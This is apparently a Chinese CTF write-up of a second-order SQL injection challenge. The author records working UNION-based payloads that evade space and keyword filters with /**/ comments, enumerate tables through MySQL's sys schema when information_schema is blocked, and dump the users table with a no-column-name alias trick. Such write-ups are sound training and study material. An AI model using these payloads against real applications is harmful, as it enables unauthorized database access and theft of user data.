怎么也没想到,这sql注入有22个字段,当时到了15个字段,还不对,还以为是出题人在告诉我不能使用联合注入,若不是22个字段,我猜我还是能做出来的吧…啊哈哈,也不一定,手动滑稽
反正也做记录吧
首先就是一个登录框,注册的时候发现存在admin,几次弱密码没试出来,应该不是爆破,然后随便注册一个,登录进去之后发现有发广告的选项,第一反应是xss,x了一会儿,后来出题人说不是xss,才发现是sql注入(二次注入)
手动测试一会儿,发现过滤了空格,and,or
进行联合查询:
payload:
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='1
发现2,3是显示位
对第三位进行注入
payload:
-1'/**/union/**/select/**/1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='1
得到数据库名为web1
继续
-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schame=database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='1
这时候提示有敏感词汇,经过测试,发现过滤的是information_schema,可是如果没有information_schema,就不能查询表名,进行之后的一系列操作
搜索mysql系统表,找到这篇文章
https://blog.csdn.net/jayewu/article/details/80183274
通过阅读,知道mysql除了information_schema这个配置表以外,还有一个系统表为sys,不过sys表是在mysql5.7之后才新增加的,查了一下版本号,8.0.17,完全满足要求
开始:
payload:
-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns /**/where/**/table_schema=database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='1
可是竟然报错了,报的是group_concat后面的,考虑双查询注入
payload:
-1'/**/union/**/select/**/1,2,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns /**/where/**/table_schema=database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)/**/&&/**/'1'='1
还是报错,说/**/&&这儿不对,后来看了wp,关于mysql系统表那个还可以参考这个
https://www.anquanke.com/post/id/193512
payload:
-1'/**/union/**/select/**/1,2,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns /**/where/**/table_schema=database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
出现表名,users和ads
继续:
payload:
-1'/**/union/**/select/**/1,2,(select/**/group_concat(column_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_name='users'),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
找到字段名为有一个是id,一般id=1是admin,
但是不知道有多少个字段,干脆全部找出来,使用select * from web1
但是由于web1中不止一个字段,所以进行无列名查询和别名代替:
大概语句如下:
select b from (select 1,2 as b,3,4 union select * from user)a;
根据手动测试,2,3是显示位
所以,payload:
-1'/**/union/**/select/**/1,2,(select/**/group_concat(a)/**/from/**/(select/**/1,2/**/as/**/a,3/**/union/**/select/**/*/**/from/**/users)b),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
-1'/**/union/**/select/**/1,2,(select/**/group_concat(a)/**/from/**/(select/**/1,2,3/**/as/**/a/**/union/**/select/**/*/**/from/**/users)b),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
得到flag